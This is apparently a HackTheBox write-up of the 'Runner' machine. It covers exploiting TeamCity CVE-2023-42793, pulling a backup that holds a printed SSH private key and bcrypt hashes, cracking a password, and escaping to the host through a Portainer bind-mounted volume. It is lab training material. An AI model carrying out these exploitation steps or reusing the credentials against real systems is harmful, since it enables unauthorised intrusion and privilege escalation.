Runner – HackTheBox Link to heading
- OS: Linux
- Difficulty: Medium
- Platform: HackTheBox
Summary Link to heading
Runner
is a medium difficulty box from HackTheBox
platform. After searching for vhosts
in this machine, we find one that is running a vulnerable version of TeamCity
to CVE-2023-42793 which allow us to create/get credentials from users within this service. Inside this service, we are able to find some backup files that contain a SSH
key for one user, gaining initial access to the victim machine. Once inside, we see that it is running Portainer
–a tool to administer containers such as Docker
–, which we can log in thanks to a password also contained into the backup files. Once inside this new internal service, we are able to mount a copy of the system into a container and read the contents of priviledges files.
User Link to heading
Starting with Nmap
scan shows 3 ports open: 22
SSH
, 80
HTTP
and 8080
apparently running Nagios XI
service.
❯ sudo nmap -sVC -p22,80,8000 10.10.11.13 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 21:36 -04
Nmap scan report for 10.10.11.13
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.47 seconds
From the scan I can see that connection to site at port 80
redirects to http://runner.htb
, so I add this domain to my /etc/hosts
file:
❯ echo '10.10.11.13 runner.htb' | sudo tee -a /etc/hosts
10.10.11.13 runner.htb
Once added this new subdomain, visiting http://runner.htb
shows a simple website about code optimization:
Many of the buttons in this page do not work and we are only able to send a mail to sales@runner.htb
. Since there is nothing interesting here, I will start searching for subdomains that could be applying vhosting
with ffuf
. Now, the “tricky” part is that we usually use the dictionary subdomains-top1million-XXXX.txt
from SecLists
, but this time we should apply another different like /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
. Doing this we have:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://runner.htb/ -H 'Host: FUZZ.runner.htb' -fs 154 -t 55
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://runner.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.runner.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 55
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
teamcity [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 827ms]
:: Progress: [100000/100000] :: Job [1/1] :: 341 req/sec :: Duration: [0:04:36] :: Errors: 0 ::
where we have found a new domain: teamcity.runner.htb
We add this new subdomain to our /etc/hosts
file, so now it looks like:
❯ tail -n 1 /etc/hosts
10.10.11.13 runner.htb teamcity.runner.htb
Visiting http://teamcity.runner.htb
redirects to its /login.html
page. The new site looks like:
The site is, apparently, using TeamCity
TeamCity
is used to build and test software products in an automated manner. It provides rapid feedback on every code change, reduces code integration problems, and leads to more effective teamwork. Many popular games, websites, banking systems, and all JetBrains
products are built with TeamCity
Alternative 1: Github repository exploit Link to heading
Searching for TeamCity exploit
on Google leads us to this Github Repository that is based on CVE-2023-42793. Basically, this exploit allows us to create a new user with administrative privileges since we have an endpoint /app/rest/users/id:1/tokens/RPC2
exposed without needing authentication; from here one could obtain an authentication token (for admin, for example) and apply a Remote Code Execution
. Based on the page describing the vulnerability, the vulnerable versions are Up to (excluding) 2023.05.4
. We can see in the login page that the version is 2023.05.3
, so it should be vulnerable. We clone the mentioned repository and run it:
❯ git clone https://github.com/H454NSec/CVE-2023-42793.git
Cloning into 'CVE-2023-42793'...
remote: Enumerating objects: 28, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 28 (delta 12), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (28/28), 10.79 KiB | 216.00 KiB/s, done.
Resolving deltas: 100% (12/12), done.
❯ python3 CVE-2023-42793.py -u http://teamcity.runner.htb
[+] http://teamcity.runner.htb/login.html [H454NSec6009:@H454NSec]
where we might have credentials: H454NSec6009:@H454NSec
Alternative 2: Create a new admin user using SearchSploit
exploit
Link to heading
Using SearchSploit
we have
❯ searchsploit teamcity
--------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------- ---------------------------------
JetBrains TeamCity 2018.2.4 - Remote Code Executio | java/remote/47891.txt
JetBrains TeamCity 2023.05.3 - Remote Code Executi | java/remote/51884.py
TeamCity < 9.0.2 - Disabled Registration Bypass | multiple/remote/46514.js
TeamCity Agent - XML-RPC Command Execution (Metasp | multiple/remote/45917.rb
TeamCity Agent XML-RPC 10.0 - Remote Code Executio | php/webapps/48201.py
--------------------------------------------------- ---------------------------------
Shellcodes: No Results
Where exploit 51884
seems promising.
I copy this script and run it. Apparently, the first time we run it it recollects info about the site:
❯ searchsploit -m 51884
<SNIP>
Copied to: /home/gunzf0x/HTB/HTBMachines/Medium/Runner/exploits/51884.py
❯ mv 51884.py teamcity_exploit.py
❯ python3 teamcity_exploit.py
<SNIP>
usage: teamcity_exploit.py [-h] -u URL [-v]
teamcity_exploit.py: error: the following arguments are required: -u/--url
❯ python3 teamcity_exploit.py -u http://teamcity.runner.htb
<SNIP>
Token already exists
Previous token deleted successfully
run this command again for creating new token & admin user.
and re-running it we have:
❯ python3 teamcity_exploit.py -u http://teamcity.runner.htb
<SNIP>
Token: eyJ0eXAiOiAiVENWMiJ9.YktIb0JhZ09yVVcxd011MUJNNXlXMWtzNkk0.ZTlkODdkZTgtNWI5YS00OWE0LWEzMTgtYzNjZjU3MDRhMzBk
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminE7xn
Password: Main_password!!**
Now, back to the login page we can log in this panel with the credentials H454NSec6009:@H454NSec
or we could use the user created from the SearchSploit
exploit. Login with first credentials in the TeamCity
panel we have then:
If we click on Administration
at the top left panel we have the following:
Then, at the left side, scrolling down to Server Administration
section I can see a Backup
option. Clicking on it we can see:
Clicking on Start Backup
creates a .zip
file that can be downloaded.
Downloading and decompressing it shows us multiple files:
❯ unzip TeamCity_Backup_20240529_025322.zip
Archive: TeamCity_Backup_20240529_025322.zip
TeamCity data backup; ZIP factory in use: memory-conservative (dynamic, shared); compression level -1.
<SNIP>
❯ ls -la
total 296
drwxr-xr-x 6 gunzf0x gunzf0x 4096 May 28 22:57 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 28 22:57 ..
---------- 1 gunzf0x gunzf0x 6 May 29 2024 charset
drwxr-xr-x 7 gunzf0x gunzf0x 4096 May 28 22:57 config
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 28 22:57 database_dump
---------- 1 gunzf0x gunzf0x 630 May 29 2024 export.report
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 28 22:57 metadata
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 28 22:57 system
-rw-r--r-- 1 gunzf0x gunzf0x 264776 May 28 22:56 TeamCity_Backup_20240529_025322.zip
---------- 1 gunzf0x gunzf0x 92 May 29 2024 version.txt
Using find
I search for file names that could be interesting, like something that could be named id_rsa
. And find something:
❯ find . -name "*id_rsa*" 2>/dev/null
./config/projects/AllProjects/pluginData/ssh_keys/id_rsa
And reading it shows a SSH
key:
❯ chmod 600 ./config/projects/AllProjects/pluginData/ssh_keys/id_rsa
❯ cat ./config/projects/AllProjects/pluginData/ssh_keys/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
KgK8c9z2ecgZsAAAALam9obkBydW5uZXI=
-----END OPENSSH PRIVATE KEY-----
but I don’t have a user. So this key is not very useful yet.
Back to TeamCity
panel, at Administration
I can see a Users
option. Clicking on it shows a table:
where I can see the users I have added testing the different scripts. I can see also 2 users: john
and matthew
.
I save these users into a file called potential_users.txt
and check with NetExec
if we can log in with any of these users via SSH
with the provided key:
❯ netexec ssh 10.10.11.13 -u potential_users.txt --key-file id_rsa -p ''
SSH 10.10.11.13 22 10.10.11.13 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH 10.10.11.13 22 10.10.11.13 [-] matthew: (keyfile: id_rsa) Authentication failed.
SSH 10.10.11.13 22 10.10.11.13 [+] john: (keyfile: id_rsa) (non root) Linux - Shell access!
So this key works for the user john
.
❯ ssh -i id_rsa john@10.10.11.13
<SNIP>
john@runner:~$
where we can get the user flag at john
home directory.
Root Link to heading
I note that we have 2 users in this machine as we suspected, john
and matthew
:
john@runner:~$ ls /home
john matthew
Now that I have usernames, I also check if they were present in the backup
compressed file we downloaded. If I search for john
user we have:
❯ sudo grep -ri "john" .
./database_dump/comments:201, -42, 1709746543407, "New username: \'admin\', new name: \'John\', new email: \'john@runner.htb\'"
./database_dump/users:1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1716949177384, BCRYPT
where I can see a hash that I save.
If I search for matthew
I get:
❯ sudo grep -ri "matthew" .
./config/projects/AllProjects/project-config.xml.1: <description>Matthew's projects</description>
./config/_trash/AllProjects.project1/project-config.xml: <description>Matthew's projects</description>
./database_dump/users:2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
./database_dump/vcs_username:2, anyVcs, -1, 0, matthew
./system/pluginData/audit/configHistory/projects/project1/config.xml.1: <description>Matthew's projects</description>
where I can see another hash.
I save these hashes into my attacker machine and attempt to crack with a Brute Force Password Cracking
with JohnTheRipper
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_found
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 128 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
piper123 (matthew)
1g 0:00:06:22 2.66% (ETA: 04:06:53) 0.002615g/s 1160p/s 1296c/s 1296C/s 303606..301298
Use the "--show" option to display all of the cracked passwords reliably
where we have credentials: matthew:piper123
. These credentials do not work to change to matthew
user inside the machine, so save them for later.
Back to the victim machine, I search for internal ports open:
john@runner:~$ ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.1:9000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:5005 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:9443 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8111 0.0.0.0:*
LISTEN 0 4096 *:8000 *:*
LISTEN 0 511 [::]:80 [::]:*
LISTEN 0 128 [::]:22 [::]:*
After exploring them, I note that port 9000
, that was not publicly available, is a website thanks to cURL
:
john@runner:~$ curl -s http://localhost:9000 | head -n 3
<!doctype html><html lang="en" ng-app="portainer" ng-strict-di data-edition="CE"><head><meta charset="utf-8"/><title>Portainer</title><meta name="description" content=""/><meta name="author" content="Portainer.io"/><meta http-equiv="cache-control" content="no-cache"/><meta http-equiv="expires" content="0"/><meta http-equiv="pragma" content="no-cache"/><base id="base"/><script>if (window.origin == 'file://') {
// we are loading the app from a local file as in docker extension
document.getElementById('base').href = 'http://localhost:49000/';
Since we have SSH
credentials, we can attempt a Local Port Forwarding
to gain access to this internal port. I logout from the current SSH
session, and re-connect to the target machine, but this time converting port 9000
of the target machine in my port 9000
as well. For this we run:
❯ ssh -i id_rsa -L 9000:localhost:9000 john@10.10.11.13
and now, visiting http://localhost:9000
on my web browser I can see a website running Portainer
:
Portainer
is a tool that can be used to monitor your Docker installation, interact with containerized apps, and deploy new stacks with minimal effort. A single Portainer
instance can connect to multiple Docker
hosts, centralizing your containerAfter some research we find this blog explaining a running condition vulnerability with Docker. It is based on CVE-2024-21626 where, basically, abusing from a running condition can lead to access to the original /
directory of the system instead of a container.
I attempt to log in with the only credentials we have found, the ones for the user matthew
. And they work. Once in we can see:
If I click on primary
container now we have some options displayed at the left side. First, it is recommended to add a Volume
(what is a Volume
is better explained here). Basically, “a volume is a data storage area that can be mounted into a container to provide persistent storage”. So we can create a Volume
to avoid problems in the future. Following the instructions of how to add a Volume on Portainer, we can go to Volume
, then Add volume
. Then just name it as test
and as Driver
select local
. Finally, I want it to be a Private
volume.
where we click on add driver option
and add the options: driver:/
, o:bind
, type:none
since we want to create a Volume
as is explained here.
Clicking on Volume
and then our just created Volume
, we should see:
Once we have created a Volume
, go to Containers
and create a new container with Add container
option.
as Image
I set the option teamcity:latest
, since, if we visit Images
section we can see 2 images already available:
so I just selected the one that was not being used.
Scrolling down in the container creator I can see a section called Advanced container settings
. There, at Command & logging
tab I will select the option Interactive & TTY
:
and at Volumes
tab, click on + map additional volume
. I will put as container
the value /mnt/root
and select the volume I have just created (which I have named test
):
Finally I click on Deploy the container
, wait and it is created as we can check at Containers
section:
Clicking on my container I can see a Console
option at the bottom of the first window:
Clicking on it spawn a new windows that asks us as which user we want to run this console. We just put root
user and click on Connect
:
A new shell spawns, but I note that at /mnt/root
it has a copy of /
directory of the original machine. As we can see, the file root.txt
is located at /mnt/root/root
, so we can read it and machine solved. There is no id_rsa
file for root
, so we cannot connect via SSH
, but we could directly read the flag:
~ Happy Hacking